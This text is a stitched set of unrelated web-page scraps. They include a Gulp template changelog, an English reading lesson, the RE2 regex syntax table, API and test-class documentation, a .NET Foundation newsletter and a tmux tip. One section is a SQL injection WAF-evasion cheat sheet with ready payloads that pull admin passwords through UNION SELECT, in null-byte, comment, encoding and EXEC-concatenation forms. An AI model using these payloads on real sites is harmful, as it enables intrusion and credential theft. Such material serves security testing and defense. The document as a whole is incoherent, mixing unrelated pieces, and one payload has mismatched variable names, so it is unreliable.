If you are new to Gulp please check this article on Smashing Magazine http://www.smashingmagazine.com/2014/06/11/building-with-gulp/ and this Geting Started guide - https://github.com/gulpjs/gulp/blob/master/docs/getting-started.md
To install all dependencies go to folder root and use npm install
command. This command will download gulp and all required plugins (defined in package.json).
If installation went without errors you can use gulp to:
// v1.6 (30.06.2015) [App|[HTML][update] Bootstrap (3.3.5) [App|[HTML][update] Print Frindly pages (invoice, form grid, charts etc.) [App][HTML][bug] JS/CSS minor fixes // v1.5 (14.05.2015) [new] Yukon Landing Page added [new] Added Gulp (streaming build system) to Yukon (compile less, minify js etc.) [App][update] AngularJS (1.3.15) [App][update] UI-Router (0.2.14) [App][update] UI-Bootstrap (0.13.0) [App][update] Breadcrumbs (0.3.2-dev) [App|[HTML][update] Bootstrap (3.3.4) [App|[HTML][bug] Top menu (shifted on devices < 1119px) [App|[HTML][bug] Side collapsed menu (not visble when switched from top menu) [App][HTML][bug] JS/CSS minor fixes // v1.4 (22.11.2014) [App|[HTML][new] Custom select UI control (Selectize.js) [App|[HTML][new] Responsive Gantt Chart [App|[HTML][update] Bootstrap (3.3.1) [App|[HTML][update] Rewrited switchery.js init() function [App][HTML][update] Open menu section on page init [App|[HTML][bug] Side accordion menu js/css fixes [App|[HTML][bug] Small css fixes (Select2) [App][HTML][bug] JS/CSS minor fixes [App|[update] UI Bootstrap (0.12.0) // v1.3 (18.10.2014) [App|[HTML][new] Fixed Layout Backgrounds [App|[HTML][new] Style Switcher Show CSS Classes [App|[HTML][new] Equal Heights Plugin [App|[HTML][new] ClockPicker Plugin [App|[HTML][new] Chained Selects [App|[HTML][new] Password Strength Meter [App|[HTML][new] Password Show/Hide [App|[HTML][new] Custom Content Scroller (menu) [App|[HTML][new] Customized checkboxes and radio buttons (icheck) [App|[HTML][new] Login Page (new) [App|[HTML][new] Profile Page (new) [App|[HTML][new] Mail Compose Page (new) [App|[HTML][new] Main Menu Sub Navigation [App][HTML][bug] JS/CSS minor fixes [App|[new] AngularJS Text-Editor (textAngular) [App|[updated] AngularJS (1.2.26) [App|[updated] UI-Router (0.2.11) [App|[fixed] Typeahead plugin css style [HTML][new] Super Simple WYSIWYG Editor (Summernote) // v1.2 (02.10.2014) [App|[HTML][new] Top Menu Navigation [App|[HTML][new] Contact List Page [App|[HTML][new] Ace Editor [App|[HTML][new] 2 column multiselect [App|[HTML][new] Autosuggest (typeahead) [App][HTML][bug] Side Menu Navigation (mobile devices) [App|[new] Switchery directive (ng-switch) [App|[updated] Menu Toggle (window resize event) [App][HTML][bug] JS/CSS minor fixes // v1.1 (10.09.2014) [HTML][new] HTML/PHP version [App][new] Directive for changing title ('updateTitle') [App|HTML][new] Fixed width layout [App|HTML][new] Style Switcher [App|HTML][new] WYSIWYG Editor example [App|HTML][new] non-minified CSS (with comments) [App|HTML][new] Favicon [App][bug] Page Loader position [App][bug] Position for alert close button [App][bug] isTouchDevice, isHighDensity() moved to 'run' block [App][bug] Site Logo ui-sref [App|HTML][updated] Qrcode plugin [App][updated] Side menu redesign [App][updated] Error 404 moved to pages, updated styles [App][updated] Removed not needed files [App][updated] JS/CSS minor fixes // v1.0 (28.08.2014) Initial release


| lesson 33 A day to remember |
| We have all experienced days when everything goes wrong. |
| A day may begin well enough, but suddenly everything seems to get out of control. |
| What invariably happens is that a great number of things choose to go wrong at precisely the same moment. |
| It is as if a single unimportant event set up a chain of reactions. |
| Let us suppose that you are preparing a meal and keeping an eye on the baby at the same time. |
| The telephone rings and this marks the prelude to an unforeseen series of catastrophes. |
| While you are on the phone, the baby pulls the tablecloth off the table, |
| smashing half your best crockery and cutting himself in the process. |
| You hang up hurriedly and attend to baby, crockery, etc. |
| Meanwhile, the meal gets burnt. |
| As if this were not enough to reduce you to tears, your husband arrives, unexpectedly bringing three guests to dinner. |
| Things can go wrong on a big scale, as a number of people recently discovered in Parramatta, a suburb of Sydney. |
| During the rush hour one evening two cars collided and both drivers began to argue. |
| The woman immediately behind the two cars happened to be a learner. |
| She suddenly got into a panic and stopped her car. |
| This made the driver following her brake hard. |
| His wife was sitting beside him holding a large cake. |
| As she was thrown forward, the cake went right through the windscreen and landed on the road. |
| Seeing a cake flying through the air, a lorry driver who was drawing up alongside the car, pulled up all of a sudden. |
| The lorry was loaded with empty beer bottles and hundreds of them slid off the back of the vehicle and on to the road. |
| This led to yet another angry argument. |
| Meanwhile, the traffic piled up behind. |
| It took the police nearly an hour to get the traffic on the move again. |
| In the meantime, the lorry driver had to sweep up hundreds of broken bottles. |
| Only two stray dogs benefited from all this confusion, for they greedily devoured what was left of the cake. |
| It was just one of those days! |


SQL Injection signature Evasion Techniques
The techniques are used to bypass defenses such as Web application firewalls (WAFs) or intrusion prevention systems (IPSs). Also refer to https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
White Space
Dropping space or adding spaces that won't affect the SQL statement. For example
or 'a'='a'
or 'a' = 'a'
Adding special character like new line or tab that won't change the SQL statement execution. For example,
or
'a'=
'a'
Null Bytes
Use null byte (%00) prior to any characters that the filter is blocking.
For example, if the attacker may inject the following SQL
' UNION SELECT password FROM Users WHERE username='admin'--
to add Null Bytes will be
%00' UNION SELECT password FROM Users WHERE username='admin'--
SQL Comments
Adding SQL inline comments can also help the SQL statement to be valid and bypass the SQL injection filter. Take this SQL injection as example.
' UNION SELECT password FROM Users WHERE name='admin'--
Adding SQL inline comments will be.
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
URL Encoding
Use the online URL encoding to encode the SQL statement
http://meyerweb.com/eric/tools/dencoder/
' UNION SELECT password FROM Users WHERE name='admin'--
The URL encoding of the SQL injection statement will be
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
Character Encoding
Char() function can be used to replace English char. For example, char(114,111,111,116) means root
' UNION SELECT password FROM Users WHERE name='root'--
To apply the Char(), the SQL injeciton statement will be
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
String Concatenation
Concatenation breaks up SQL keywords and evades filters. Concatenation syntax varies based on database engine. Take MS SQL engine as an example
select 1
The simple SQL statement can be changed as below by using concatenation
EXEC('SEL' + 'ECT 1')
Hex Encoding
Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, 'root' can be represented as 726F6F74
Select user from users where name = 'root'
The SQL statement by using HEX value will be:
Select user from users where name = 726F6F74
or
Select user from users where name = unhex('726F6F74')
Declare variables
Declare the SQL injection statement into variable and execute it.
For example, SQL injection statement below
Union Select password
Define the SQL statement into variable SQLivar
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
Alternative Expression of 'or 1 = 1'
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' > 'S'
or 20 > 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1


Index
_
|
A
|
B
|
C
|
D
|
G
|
I
|
N
|
O
|
P
|
S
_
__init__() (allthingstalk.Asset method)
(allthingstalk.AssetState method)
(allthingstalk.Client method)
(allthingstalk.Device method)
A
AccessForbiddenException
allthingstalk (module)
Asset (class in allthingstalk)
AssetMismatchException
AssetState (class in allthingstalk)
AssetStateRetrievalException
B
BaseClient (class in allthingstalk)
BooleanAsset (class in allthingstalk)
BooleanProfile (class in allthingstalk.profiles)
C
Client (class in allthingstalk)
connect() (allthingstalk.Device method)
create_asset() (allthingstalk.Client method)
D
Device (class in allthingstalk)
G
GeoAsset (class in allthingstalk)
GeoProfile (class in allthingstalk.profiles)
get_asset_state() (allthingstalk.Client method)
get_assets() (allthingstalk.Client method)
I
IntegerAsset (class in allthingstalk)
IntegerProfile (class in allthingstalk.profiles)
InvalidAssetProfileException
N
NumberAsset (class in allthingstalk)
NumberProfile (class in allthingstalk.profiles)
O
ObjectProfile (class in allthingstalk.profiles)
P
Profile (class in allthingstalk.profiles)
publish_asset_state() (allthingstalk.Client method)
S
StringAsset (class in allthingstalk)
StringProfile (class in allthingstalk.profiles)
Related Topics
Documentation overview
Quick search


| This page lists the regular expression syntax accepted by RE2. |
| It also lists syntax accepted by PCRE, PERL, and VIM. |
| Grayed out expressions are not supported by RE2. |
|
| Single characters: |
. | any character, possibly including newline (s=true) |
[xyz] | character class |
[^xyz] | negated character class |
\d | Perl character class |
\D | negated Perl character class |
[[:alpha:]] | ASCII character class |
[[:^alpha:]] | negated ASCII character class |
\pN | Unicode character class (one-letter name) |
\p{Greek} | Unicode character class |
\PN | negated Unicode character class (one-letter name) |
\P{Greek} | negated Unicode character class |
|
| Composites: |
xy | x followed by y |
x|y | x or y (prefer x ) |
|
| Repetitions: |
x* | zero or more x , prefer more |
x+ | one or more x , prefer more |
x? | zero or one x , prefer one |
x{n,m} | n or n +1 or ... or m x , prefer more |
x{n,} | n or more x , prefer more |
x{n} | exactly n x |
x*? | zero or more x , prefer fewer |
x+? | one or more x , prefer fewer |
x?? | zero or one x , prefer zero |
x{n,m}? | n or n +1 or ... or m x , prefer fewer |
x{n,}? | n or more x , prefer fewer |
x{n}? | exactly n x |
x{} | (≡ x* ) VIM |
x{-} | (≡ x*? ) VIM |
x{-n} | (≡ x{n}? ) VIM |
x= | (≡ x? ) VIM |
|
Implementation restriction: The counting forms x{n,m} , x{n,} , and x{n} |
| reject forms that create a minimum or maximum repetition count above 1000. |
| Unlimited repetitions are not subject to this restriction. |
|
| Possessive repetitions: |
x*+ | zero or more x , possessive |
x++ | one or more x , possessive |
x?+ | zero or one x , possessive |
x{n,m}+ | n or ... or m x , possessive |
x{n,}+ | n or more x , possessive |
x{n}+ | exactly n x , possessive |
|
| Grouping: |
(re) | numbered capturing group (submatch) |
(?P<name>re) | named & numbered capturing group (submatch) |
(?<name>re) | named & numbered capturing group (submatch) |
(?'name're) | named & numbered capturing group (submatch) |
(?:re) | non-capturing group |
(?flags) | set flags within current group; non-capturing |
(?flags:re) | set flags during re; non-capturing |
(?#text) | comment |
(?|x|y|z) | branch numbering reset |
(?>re) | possessive match of re |
re@> | possessive match of re VIM |
%(re) | non-capturing group VIM |
|
| Flags: |
i | case-insensitive (default false) |
m | multi-line mode: ^ and $ match begin/end line in addition to begin/end text (default false) |
s | let . match \n (default false) |
U | ungreedy: swap meaning of x* and x*? , x+ and x+? , etc (default false) |
Flag syntax is xyz (set) or -xyz (clear) or xy-z (set xy , clear z ). |
|
| Empty strings: |
^ | at beginning of text or line (m =true) |
$ | at end of text (like \z not \Z ) or line (m =true) |
\A | at beginning of text |
\b | at ASCII word boundary (\w on one side and \W , \A , or \z on the other) |
\B | not at ASCII word boundary |
\G | at beginning of subtext being searched PCRE |
\G | at end of last match PERL |
\Z | at end of text, or before newline at end of text |
\z | at end of text |
(?=re) | before text matching re |
(?!re) | before text not matching re |
(?<=re) | after text matching re |
(?<!re) | after text not matching re |
re& | before text matching re VIM |
re@= | before text matching re VIM |
re@! | before text not matching re VIM |
re@<= | after text matching re VIM |
re@<! | after text not matching re VIM |
\zs | sets start of match (= \K) VIM |
\ze | sets end of match VIM |
\%^ | beginning of file VIM |
\%$ | end of file VIM |
\%V | on screen VIM |
\%# | cursor position VIM |
\%'m | mark m position VIM |
\%23l | in line 23 VIM |
\%23c | in column 23 VIM |
\%23v | in virtual column 23 VIM |
|
| Escape sequences: |
\a | bell (≡ \007 ) |
\f | form feed (≡ \014 ) |
\t | horizontal tab (≡ \011 ) |
\n | newline (≡ \012 ) |
\r | carriage return (≡ \015 ) |
\v | vertical tab character (≡ \013 ) |
\* | literal * , for any punctuation character * |
\123 | octal character code (up to three digits) |
\x7F | hex character code (exactly two digits) |
\x{10FFFF} | hex character code |
\C | match a single byte even in UTF-8 mode |
\Q...\E | literal text ... even if ... has punctuation |
|
\1 | backreference |
\b | backspace (use \010 ) |
\cK | control char ^K (use \001 etc) |
\e | escape (use \033 ) |
\g1 | backreference |
\g{1} | backreference |
\g{+1} | backreference |
\g{-1} | backreference |
\g{name} | named backreference |
\g<name> | subroutine call |
\g'name' | subroutine call |
\k<name> | named backreference |
\k'name' | named backreference |
\lX | lowercase X |
\ux | uppercase x |
\L...\E | lowercase text ... |
\K | reset beginning of $0 |
\N{name} | named Unicode character |
\R | line break |
\U...\E | upper case text ... |
\X | extended Unicode sequence |
|
\%d123 | decimal character 123 VIM |
\%xFF | hex character FF VIM |
\%o123 | octal character 123 VIM |
\%u1234 | Unicode character 0x1234 VIM |
\%U12345678 | Unicode character 0x12345678 VIM |
|
| Character class elements: |
x | single character |
A-Z | character range (inclusive) |
\d | Perl character class |
[:foo:] | ASCII character class foo |
\p{Foo} | Unicode character class Foo |
\pF | Unicode character class F (one-letter name) |
|
| Named character classes as character class elements: |
[\d] | digits (≡ \d ) |
[^\d] | not digits (≡ \D ) |
[\D] | not digits (≡ \D ) |
[^\D] | not not digits (≡ \d ) |
[[:name:]] | named ASCII class inside character class (≡ [:name:] ) |
[^[:name:]] | named ASCII class inside negated character class (≡ [:^name:] ) |
[\p{Name}] | named Unicode property inside character class (≡ \p{Name} ) |
[^\p{Name}] | named Unicode property inside negated character class (≡ \P{Name} ) |
|
| Perl character classes (all ASCII-only): |
\d | digits (≡ [0-9] ) |
\D | not digits (≡ [^0-9] ) |
\s | whitespace (≡ [\t\n\f\r ] ) |
\S | not whitespace (≡ [^\t\n\f\r ] ) |
\w | word characters (≡ [0-9A-Za-z_] ) |
\W | not word characters (≡ [^0-9A-Za-z_] ) |
|
\h | horizontal space |
\H | not horizontal space |
\v | vertical space |
\V | not vertical space |
|
| ASCII character classes: |
[[:alnum:]] | alphanumeric (≡ [0-9A-Za-z] ) |
[[:alpha:]] | alphabetic (≡ [A-Za-z] ) |
[[:ascii:]] | ASCII (≡ [\x00-\x7F] ) |
[[:blank:]] | blank (≡ [\t ] ) |
[[:cntrl:]] | control (≡ [\x00-\x1F\x7F] ) |
[[:digit:]] | digits (≡ [0-9] ) |
[[:graph:]] | graphical (≡ [!-~] == [A-Za-z0-9!"#$%&'()*+,\-./:;<=>?@[\\\]^_`{|}~] ) |
[[:lower:]] | lower case (≡ [a-z] ) |
[[:print:]] | printable (≡ [ -~] == [ [:graph:]] ) |
[[:punct:]] | punctuation (≡ [!-/:-@[-`{-~] ) |
[[:space:]] | whitespace (≡ [\t\n\v\f\r ] ) |
[[:upper:]] | upper case (≡ [A-Z] ) |
[[:word:]] | word characters (≡ [0-9A-Za-z_] ) |
[[:xdigit:]] | hex digit (≡ [0-9A-Fa-f] ) |
|
| Unicode character class names--general category: |
C | other |
Cc | control |
Cf | format |
Cn | unassigned code points |
Co | private use |
Cs | surrogate |
L | letter |
LC | cased letter |
L& | cased letter |
Ll | lowercase letter |
Lm | modifier letter |
Lo | other letter |
Lt | titlecase letter |
Lu | uppercase letter |
M | mark |
Mc | spacing mark |
Me | enclosing mark |
Mn | non-spacing mark |
N | number |
Nd | decimal number |
Nl | letter number |
No | other number |
P | punctuation |
Pc | connector punctuation |
Pd | dash punctuation |
Pe | close punctuation |
Pf | final punctuation |
Pi | initial punctuation |
Po | other punctuation |
Ps | open punctuation |
S | symbol |
Sc | currency symbol |
Sk | modifier symbol |
Sm | math symbol |
So | other symbol |
Z | separator |
Zl | line separator |
Zp | paragraph separator |
Zs | space separator |
|
| Unicode character class names--scripts: |
| Adlam |
| Ahom |
| Anatolian_Hieroglyphs |
| Arabic |
| Armenian |
| Avestan |
| Balinese |
| Bamum |
| Bassa_Vah |
| Batak |
| Bengali |
| Bhaiksuki |
| Bopomofo |
| Brahmi |
| Braille |
| Buginese |
| Buhid |
| Canadian_Aboriginal |
| Carian |
| Caucasian_Albanian |
| Chakma |
| Cham |
| Cherokee |
| Chorasmian |
| Common |
| Coptic |
| Cuneiform |
| Cypriot |
| Cypro_Minoan |
| Cyrillic |
| Deseret |
| Devanagari |
| Dives_Akuru |
| Dogra |
| Duployan |
| Egyptian_Hieroglyphs |
| Elbasan |
| Elymaic |
| Ethiopic |
| Georgian |
| Glagolitic |
| Gothic |
| Grantha |
| Greek |
| Gujarati |
| Gunjala_Gondi |
| Gurmukhi |
| Han |
| Hangul |
| Hanifi_Rohingya |
| Hanunoo |
| Hatran |
| Hebrew |
| Hiragana |
| Imperial_Aramaic |
| Inherited |
| Inscriptional_Pahlavi |
| Inscriptional_Parthian |
| Javanese |
| Kaithi |
| Kannada |
| Katakana |
| Kawi |
| Kayah_Li |
| Kharoshthi |
| Khitan_Small_Script |
| Khmer |
| Khojki |
| Khudawadi |
| Lao |
| Latin |
| Lepcha |
| Limbu |
| Linear_A |
| Linear_B |
| Lisu |
| Lycian |
| Lydian |
| Mahajani |
| Makasar |
| Malayalam |
| Mandaic |
| Manichaean |
| Marchen |
| Masaram_Gondi |
| Medefaidrin |
| Meetei_Mayek |
| Mende_Kikakui |
| Meroitic_Cursive |
| Meroitic_Hieroglyphs |
| Miao |
| Modi |
| Mongolian |
| Mro |
| Multani |
| Myanmar |
| Nabataean |
| Nag_Mundari |
| Nandinagari |
| New_Tai_Lue |
| Newa |
| Nko |
| Nushu |
| Nyiakeng_Puachue_Hmong |
| Ogham |
| Ol_Chiki |
| Old_Hungarian |
| Old_Italic |
| Old_North_Arabian |
| Old_Permic |
| Old_Persian |
| Old_Sogdian |
| Old_South_Arabian |
| Old_Turkic |
| Old_Uyghur |
| Oriya |
| Osage |
| Osmanya |
| Pahawh_Hmong |
| Palmyrene |
| Pau_Cin_Hau |
| Phags_Pa |
| Phoenician |
| Psalter_Pahlavi |
| Rejang |
| Runic |
| Samaritan |
| Saurashtra |
| Sharada |
| Shavian |
| Siddham |
| SignWriting |
| Sinhala |
| Sogdian |
| Sora_Sompeng |
| Soyombo |
| Sundanese |
| Syloti_Nagri |
| Syriac |
| Tagalog |
| Tagbanwa |
| Tai_Le |
| Tai_Tham |
| Tai_Viet |
| Takri |
| Tamil |
| Tangsa |
| Tangut |
| Telugu |
| Thaana |
| Thai |
| Tibetan |
| Tifinagh |
| Tirhuta |
| Toto |
| Ugaritic |
| Vai |
| Vithkuqi |
| Wancho |
| Warang_Citi |
| Yezidi |
| Yi |
| Zanabazar_Square |
|
| Vim character classes: |
\i | identifier character VIM |
\I | \i except digits VIM |
\k | keyword character VIM |
\K | \k except digits VIM |
\f | file name character VIM |
\F | \f except digits VIM |
\p | printable character VIM |
\P | \p except digits VIM |
\s | whitespace character (≡ [ \t] ) VIM |
\S | non-white space character (≡ [^ \t] ) VIM |
\d | digits (≡ [0-9] ) VIM |
\D | not \d VIM |
\x | hex digits (≡ [0-9A-Fa-f] ) VIM |
\X | not \x VIM |
\o | octal digits (≡ [0-7] ) VIM |
\O | not \o VIM |
\w | word character VIM |
\W | not \w VIM |
\h | head of word character VIM |
\H | not \h VIM |
\a | alphabetic VIM |
\A | not \a VIM |
\l | lowercase VIM |
\L | not lowercase VIM |
\u | uppercase VIM |
\U | not uppercase VIM |
\_x | \x plus newline, for any x VIM |
|
| Vim flags: |
\c | ignore case VIM |
\C | match case VIM |
\m | magic VIM |
\M | nomagic VIM |
\v | verymagic VIM |
\V | verynomagic VIM |
\Z | ignore differences in Unicode combining characters VIM |
|
| Magic: |
(?{code}) | arbitrary Perl code PERL |
(??{code}) | postponed arbitrary Perl code PERL |
(?n) | recursive call to regexp capturing group n |
(?+n) | recursive call to relative group +n |
(?-n) | recursive call to relative group -n |
(?C) | PCRE callout PCRE |
(?R) | recursive call to entire regexp (≡ (?0) ) |
(?&name) | recursive call to named group |
(?P=name) | named backreference |
(?P>name) | recursive call to named group |
(?(cond)true|false) | conditional branch |
(?(cond)true) | conditional branch |
(*ACCEPT) | make regexps more like Prolog |
(*COMMIT) | |
(*F) | |
(*FAIL) | |
(*MARK) | |
(*PRUNE) | |
(*SKIP) | |
(*THEN) | |
(*ANY) | set newline convention |
(*ANYCRLF) | |
(*CR) | |
(*CRLF) | |
(*LF) | |
(*BSR_ANYCRLF) | set \R convention PCRE |
(*BSR_UNICODE) | PCRE |
|


Background
Design
Experiments
Simulation
Acknowledgement
Team
Background
Design
Experiments
Simulation
Acknowledgement
Team
menu


Simple Steps Code
Category Test
Did you enjoy this?
If yes, don't panic. Here's what to do next.
Get tutorials and inspiration
✓
improve your coding skills
✓
get better jobs and salaries
✓
have more freedom to create what you want
Get Free Tutorials and Inspiration
I absolutely hate spam, so you won't be receiving any. Also, your info is 100% private. If you're not happy for any reason, you can unsubscribe at any time. I'll do my best to keep everything interesting and useful though.
Copyright ©
2014
Simple Steps Code


Issues
| # | Summary | Product | Status | Kind | When |
|---|---|---|---|---|---|
| 600 |
REQUEST: Augment button set "hit zone" when running on Leopard |
Synergy | open | feature request | Created , updated |
| 599 |
WinSwitch Leopard compatibility (use Menu Extra Enabler instead of MenuCracker) |
WinSwitch | closed | bug | Created , updated |
| 598 |
iTunes artwork in floater instead of amazone art work |
Synergy | closed | bug | |
| 597 |
REQUEST: Control Pandora (pandora.com) with Synergy |
Synergy | closed | feature request | Created , updated |
| 596 |
REQUEST: Filter for audioscrobbler submissions |
Synergy | open | feature request | Created , updated |
| 595 |
Buttons not working properly |
Synergy | open | bug | Created , updated |
| 594 |
Broken Download Link |
Synergy | open | bug | |
| 593 |
Album covers should not be fetched if one exists already |
Synergy | closed | bug | |
| 592 |
Keyboard shortcuts become disabled |
Synergy | open | bug | Created , updated |
| 591 |
REQUEST: Increment skip count when skipping using Synergy |
Synergy | closed | feature request | Created , updated |


WebRTC 101 - An introduction
Home
getUserMedia()
Here is an introduction to WebRTC - by AMC
{{item.name}}
{{item.description}}


Test::Int::BinPacking::LoadBinAssignment Class Reference
[Bin-packing constraints]
Generate load and bin assignments. More...
Public Member Functions | |
| LoadBinAssignment (int m, const Gecode::IntSet &d_m, int n, const Gecode::IntSet &d_n, int l) | |
| Initialize assignments for load and bin variables. | |
| virtual bool | operator() (void) const |
| Test whether all assignments have been iterated. | |
| virtual void | operator++ (void) |
| Move to next assignment. | |
| virtual int | operator[] (int i) const |
| Return value for variable i. | |
| virtual | ~LoadBinAssignment (void) |
| Destructor. | |
Protected Attributes | |
| int | n_bins |
| Number of bins. | |
| int | n_items |
| Number of items. | |
| Gecode::IntSet | d_load |
| Domain for load variables. | |
| Gecode::IntSet | d_bin |
| Domain for bin variables. | |
| int | load |
| Load to generate (unless -1). | |
| Gecode::IntSetValues * | dsv |
| Iterator for each variable. |
Detailed Description
Generate load and bin assignments.
Definition at line 50 of file bin-packing.cpp.
Constructor & Destructor Documentation
| Test::Int::BinPacking::LoadBinAssignment::LoadBinAssignment | ( | int | m, | |
| const Gecode::IntSet & | d_m, | |||
| int | n, | |||
| const Gecode::IntSet & | d_n, | |||
| int | l | |||
| ) | [inline] |
Initialize assignments for load and bin variables.
Definition at line 66 of file bin-packing.cpp.
| virtual Test::Int::BinPacking::LoadBinAssignment::~LoadBinAssignment | ( | void | ) | [inline, virtual] |
Destructor.
Definition at line 119 of file bin-packing.cpp.
Member Function Documentation
| virtual bool Test::Int::BinPacking::LoadBinAssignment::operator() | ( | void | ) | const [inline, virtual] |
Test whether all assignments have been iterated.
Implements Test::Int::Assignment.
Definition at line 78 of file bin-packing.cpp.
| virtual void Test::Int::BinPacking::LoadBinAssignment::operator++ | ( | void | ) | [inline, virtual] |
Move to next assignment.
Implements Test::Int::Assignment.
Definition at line 82 of file bin-packing.cpp.
| virtual int Test::Int::BinPacking::LoadBinAssignment::operator[] | ( | int | i | ) | const [inline, virtual] |
Return value for variable i.
Implements Test::Int::Assignment.
Definition at line 114 of file bin-packing.cpp.
Member Data Documentation
int Test::Int::BinPacking::LoadBinAssignment::n_bins [protected] |
Number of bins.
Definition at line 53 of file bin-packing.cpp.
int Test::Int::BinPacking::LoadBinAssignment::n_items [protected] |
Number of items.
Definition at line 55 of file bin-packing.cpp.
Domain for load variables.
Definition at line 57 of file bin-packing.cpp.
Domain for bin variables.
Definition at line 59 of file bin-packing.cpp.
int Test::Int::BinPacking::LoadBinAssignment::load [protected] |
Load to generate (unless -1).
Definition at line 61 of file bin-packing.cpp.
Iterator for each variable.
Definition at line 63 of file bin-packing.cpp.
The documentation for this class was generated from the following file:
- test/int/bin-packing.cpp


Card Header
Google.com
Company
Contact
Country
Company 1
Contact 1
Country 1
Company 2
Contact 2
Country 2
This should be centered.


Username Username is required Username must contain only alphanumerical and ('@, , -, _') characters
Password {{hide ? 'visibility_off' : 'visibility'}} Password is required
Sign In cached Sign In


ABOUT
RESUME
PORTFOLIO
(current)
All
Internship
Interaction Design
Software Engineering
Games
Music
Others


Here's the November edition of the .NET Foundation newsletter. Every month, we'll give you a quick overview of the .NET Open Source landscape, including top project news, events, community links and more.
This month's newsletter includes:
- News from .NET Foundation member projects
- A heads up on some exciting announcements about the .NET Foundation at the Connect event keynote on December 4
- .NET Meetup news
As always, these are available both on our blog and via e-mail: Sign up to get the .NET Foundation Update via e-mail
Stay tuned for some big news at the Connect event!
We've got some really exciting updates on the way for the .NET Foundation! Watch the Connect event keynote on December 4 for the announcement, and keep an eye on our @dotnetfdn Twitter handle and blog for the announcement post and details.
We can't wait to tell you about it! This next year is going to be amazing!
.NET Foundation Project News
IdentityServer 2.3 Release and ASP.NET Core Integration
As recently announced, IdentityServer will be the default authentication and API security solution in ASP.NET Core. The integration will ship shortly after the ASP.NET Core 2.2 release. The basis for this integration is the new version 2.3 of IdentityServer that has been released last week.
To ensure maximum compatibility with all versions of the .NET Framework, this release has been strong named, and for extra security, both the binaries and the Nuget packages are digitally signed.
Besides many smaller improvements and bug fixes, the new version now support the so-called “Device Flow” which enables devices without a browser or limited input capabilities (e.g. gaming consoles, hardware devices) to securely connect to APIs.
DNN Summit
Training, Speaker, and Session info have been posted to the DNN Summit site.
NUnit 3.11.2
A 3.11.2 hotfix for the NUnit VSTest adapter is available, addressing duplicate categories in Test Explorer. NUnit Visual Studio Test Generator 2.1 was also released. It now generates an NUnit3TestAdapter package reference required by VS 15.9+.
It's been a quieter month with several new features in progress. The contributions are greatly appreciated!
On December 1st, we plan to stop supporting .NET Framework 2.0 in NUnit framework 3.12 and forward. Last-minute comments are welcome at https://github.com/nunit/nunit/issues/3070.
Json.NET 12.0 Release 1 - .NET Foundation, NuGet and Authenticode signing, SourceLink and more
This month, we announced that Json.NET, one of the most popular .NET projects in the solar system, has joined the .NET Foundation. This post announces the new 12.0 release, as well as some new features that we helped support: code signing and SourceLink support.
AutoMapper 8.0.0 Released
AutoMapper 8.0 brings some breaking API changes, meant to simplify our configuration options which have grown quite a bit over time and remove some confusion about what configuration options were effectively equivalent. The upgrade guide walks through the breaking changes.
This release also includes a new feature, Value Converters, which allow you to define reusable mappers scoped to individual members.
Akka.NET on .NET Rocks
Check out Aaron's discussion of Akka.NET with Carl and Richard on the .NET Rocks podcast.
Announcing ML.NET 0.7 (Machine Learning .NET)
This release of ML.NET includes the following:
- Enhanced support for recommendation tasks with Matrix Factorization
- Enabled anomaly detection scenarios – detecting unusual events rel
- Improved customizability of ML pipelines
- x86 support
- NimbusML – experimental Python bindings for ML.NET
BenchmarkDotNet v0.11.3
This release is focused mainly on bug fixes that were affecting user experience. But don't worry, this release also has some new features too!
- Diagnosers
- ConcurrencyVisualizerProfiler (allows profiling benchmarks on Windows and exporting the data to a trace file which can be opened with Concurrency Visualizer)
- Command-line:
- Bug fixes:
- Dry mode doesn't work because of the ZeroMeasurementHelper #943
- MannWhitneyTest fails when comparing statistics of different sample size #948 and #950
- Improve the dynamic loading of Diagnostics package #955
- BenchmarkRunner.RunUrl throws NRE when Config is not provided #961
- Don't require the users to do manual installation of TraceEvent when using Diagnostics package #962
- Stop benchmark after closing application + Flush log after stopping benchmark #963
PeachPie 0.9.18
This release includes support for .NET generics, custom attributes, and plenty of fixes.Read the announcement here.
Free eBook on Modernizing .NET Applications from the Steeltoe team
Want to learn how to take advantage of Steeltoe to help modernize your .NET applications? Check out this 90 page eBook from Richard Seroter!Meetups
Our .NET Foundation sponsored .NET Meetup Pro groups continue to grow. Here are some quick stats:
- 240 Groups
- 51 Countries
- 147K Members
We've also started sending newsletters to Meetup organizers, including some links for some free swag for their groups. If your meetup hasn't joined yet, you can right here.
Connect with the .NET Foundation online
The .NET Foundation is on Facebook now. Please like our page! We’ll post regular updates and interesting things happening with .NET to share.
The .NET Foundation is also on YouTube. Watch community standups and design reviews as well as code-focused shows and interviews across our multiple playlists.
Remember to Subscribe!
Please sign up to get the .NET Foundation Update via e-mail. Don’t worry, we want to keep these short, interesting, and low-noise, so we won’t overload your e-mail.


Home
DBF
Micro-G
Members
Dashboard
Contact
Home
DBF
Micro-G
Members
Dashboard
Contact
DashBoard
Light
Dark
DBF
Micro-g
AIAA
Meetings
Events
The semester is
done
Light
Dark
Meetings
Events
DBF
Micro-g
AIAA
DBF
Micro-g
AIAA


Using tmux to copy text between two sessions
As I mentioned in my previous post, I did not yet find a problem where I could effectively use the cut-paste between tmux buffers. But now I do. This post will describe the steps to copy text from one of your remote session to local session using tmux buffers.
NOTE: You can probably do the same using Mac OS X buffer (using mouse to select text and Cmd-C/Cmd-V). This post will show you a way without moving your hand away from your keyboard, which I believe is much more efficient. If you are Linux/*nix, check out this stackexchange question.
setw -g mode-keys vi
unbind p
bind p paste-buffer
bind -t vi-copy v begin-selection
bind -t vi-copy y copy-selection
bind -t vi-copy Escape cancel
bind y run "tmux save-buffer - | reattach-to-user-namespace pbcopy"
Here is a perfect use case example.
- Open a file in your local session.
- Split your tmux pane.
- Login to a remote server
- Open a text editor.
- Get into copy-mode by pressing
<prefix>[
- Select lines of text pressing
v
. You can use vi movement commands too y
to yank to tmux bufferEsc
